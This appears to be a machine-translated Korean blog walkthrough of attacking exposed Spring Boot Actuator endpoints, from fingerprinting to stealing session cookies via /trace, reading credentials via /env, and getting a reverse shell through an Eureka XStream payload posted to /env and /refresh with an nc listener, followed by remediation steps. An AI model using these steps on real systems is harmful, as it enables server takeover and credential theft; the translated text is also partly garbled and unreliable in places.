> 운영 및 유지보수 > 안전 > Spring Boot Actuator의 getshell에 대한 무단 액세스에 대한 분석 예

Spring Boot Actuator의 getshell에 대한 무단 액세스에 대한 분석 예

WBOY
풀어 주다: 2023-05-23 08:56:32
앞으로
2068명이 탐색했습니다.

머리말

부장님께서 특정 src에서 이 취약점을 파내셨는데요. 오래된 구멍이라 흥미로워서 테스트해보려고 로컬 환경을 만들어 봤습니다.

Actuator는 응용 시스템의 자체 검사 및 모니터링을 위해 springboot에서 제공하는 기능 모듈입니다. Actuator의 도움으로 개발자는 응용 시스템의 특정 모니터링 지표에 대한 통계를 쉽게 보고 수집할 수 있습니다. Actuator를 활성화한 경우 관련 권한이 제어되지 않으면 불법 사용자가 기본 Actuator 엔드포인트에 접근하여 응용 시스템의 모니터링 정보를 획득할 수 있으며, 이로 인해 정보가 유출되거나 심지어 서버를 탈취할 수도 있습니다.

Actuator는 Spring Boot에서 제공하는 기능 모듈로, 응용 시스템의 내부 점검 및 모니터링에 사용할 수 있습니다. 제공되는 실행자 끝점은 기본 끝점과 사용자 정의 확장 끝점의 두 가지 범주로 나누어지며, 승인되지 않은 인터페이스를 찾고

Spring Boot Actuator从未授权访问到getshell的示例分析

추적을 사용하여 인증 정보(쿠키, 토큰, 세션)를 얻고 인증 정보를 사용하여 액세스합니다. 인터페이스.

  1. env에서는 데이터베이스 계정 비밀번호(mangodb)가 유출될 수 있습니다. 물론 외부 네트워크가 열려 있어야 하므로 가능성은 적습니다.

  2. 외국인들은 sql 문을 실행할 수 있다고 하는데 아직 이해가 안 된다

  3. 취약점 발견

  4. 보통 현재 웹 애플리케이션에서 사용하는 프레임워크는 springboot 프레임워크로 식별된다. 판단하는 방법은 크게 두 가지가 있습니다:

  5. 웹 애플리케이션 웹 페이지 라벨(favicon.ico)의 아이콘을 통해, 웹 애플리케이션 개발자가 springboot 웹 애플리케이션의 기본 아이콘을 수정하지 않은 경우, 응용 프로그램 홈페이지에 들어간 후 다음 기본 아이콘 작은 녹색 아이콘:


springboot 프레임워크를 통한 기본 오류 페이지, 웹 응용 프로그램 개발자가 springboot 웹 응용 프로그램의 기본 4xx, 5xx 오류 페이지를 수정하지 않은 경우 , 웹 애플리케이션에서 4xx, 5xx 오류가 발생하면 다음 오류가 보고됩니다(여기서는 404 오류 페이지만 예로 들었습니다). http://172.26.2.24와 같이 무작위로 구성된 경로에 액세스합니다. :8090/index, 다음과 같은 오류 페이지가 나타나 웹 웹 사이트가 springboot 프레임워크를 사용함을 나타냅니다(실제로는 대부분의 경우에 해당함).


  1. 현재 웹 애플리케이션이 springboot 프레임워크인지 확인하는 위의 두 가지 방법을 기반으로, 다른 디렉터리에 액세스하여 작은 녹색 잎 아이콘이 있는지 확인한 다음 트리거하는 방법을 찾는 것입니다. 다른 디렉터리에 있는 애플리케이션의 4xx 또는 5xx 오류, 화이트라벨 오류 페이지 오류가 있는지 확인하세요.

ExploitSpring Boot Actuator从未授权访问到getshell的示例分析

    /trace 엔드포인트에 방문하여 기본 HTTP 요청 추적 정보(타임스탬프, HTTP 헤더 등)를 얻으세요. 로그인한 사용자의 작업 요청이 있는 경우 쿠키를 위조하여 로그인할 수 있습니다.

  1. 모든 환경 속성을 얻으려면 /env 엔드 포인트에 액세스하십시오. Actuator는 사이트에서 mysql 및 mangodb와 같은 데이터베이스 서비스를 모니터링하므로 때로는 데이터베이스가 발생하면 mysql 및 mangodb 데이터베이스 정보를 얻을 수 있습니다. 공용 네트워크에 공개하면 피해가 엄청납니다.

Spring Boot Actuator从未授权访问到getshell的示例分析

/env 엔드포인트의 부적절한 구성으로 인해 RCE가 발생합니다.

전제 조건: Eureka-Client <1.8.7(주로 Spring Cloud Netflix에서 볼 수 있음) )

예를 들어, 테스트 프론트엔드 json 오류 보고서에서 패키지 이름이 유출됩니다. 그냥 netflix를 사용하세요

Spring Boot Actuator从未授权访问到getshell的示例分析

다음 두 패키지가 필요합니다

spring-boot-starter-actuator(/refresh 새로 고침 구성에 필요)

Spring Boot Actuator从未授权访问到getshell的示例分析spring -cloud-starter-netflix-eureka-client (기능 종속성)

Use python3 스크립트를 시작하려면 두 군데에 주의해야 합니다. 하나는 셸을 수신하는 IP와 포트이고 다른 하나는 셸을 위한 포트입니다.

Spring Boot Actuator从未授权访问到getshell的示例分析

Nc는 리바운드 쉘을 수신하기 위해 포트를 수신하고,

구성을 작성하고, /env 엔드포인트에 액세스하고, 패킷을 캡처하고, get 요청을 post 요청으로 변경합니다. 게시물 내용은 다음과 같습니다(ip는 스크립트에 의해 시작된 시스템의 IP입니다):

eureka.client.serviceUrl.defaultZone=http://10.1.1.135:2333/xstream

Spring Boot Actuator从未授权访问到getshell的示例分析

그런 다음 /refresh를 방문하여 패킷을 캡처하고 게시 요청을 게시 요청으로 변경하세요.

Spring Boot Actuator从未授权访问到getshell的示例分析

그런 다음 NC 창에서 쉘이 성공적으로 반송된 것을 볼 수 있습니다.

Spring Boot Actuator从未授权访问到getshell的示例分析

취약점 수정

보안견으로서 수리하지 않고는 그냥 파낼 수 없습니다. 프로젝트의 pom에 spring-boot-starter-security 종속성을 도입하고, 액세스 계정 비밀번호를 구성하세요. 응용 프로그램을 다시 시작하면 팝업이 나타납니다.


	org.springframework.bootspring-boot-starter-security

Spring Boot Actuator从未授权访问到getshell的示例分析

Spring Boot Actuator从未授权访问到getshell的示例分析인터페이스를 비활성화하려면 다음과 같이 설정하면 됩니다(예: env 인터페이스 비활성화 등).

endpoints.env.enabled= falseSpring Boot Actuator从未授权访问到getshell的示例分析

Question

외국인들은 실행이 가능하다고 합니다. 가능한 방법이 정확하지 않습니다. 스크린샷을 찍어서 성공적으로 구현한 사람이 공유할 수 있기를 바랍니다.


실제 환경에서는 새로고침을 하지 않으면 문제가 많아 명령을 실행하지 못하는 현상이 발견됩니다. 아직까지 획기적인 발전은 없습니다

위 내용은 Spring Boot Actuator의 getshell에 대한 무단 액세스에 대한 분석 예의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!

관련 라벨:
원천:yisu.com
본 웹사이트의 성명
본 글의 내용은 네티즌들의 자발적인 기여로 작성되었으며, 저작권은 원저작자에게 있습니다. 본 사이트는 이에 상응하는 법적 책임을 지지 않습니다. 표절이나 침해가 의심되는 콘텐츠를 발견한 경우 admin@php.cn으로 문의하세요.
최신 이슈
인기 튜토리얼
더>
최신 다운로드
더>
웹 효과
웹사이트 소스 코드
웹사이트 자료
프론트엔드 템플릿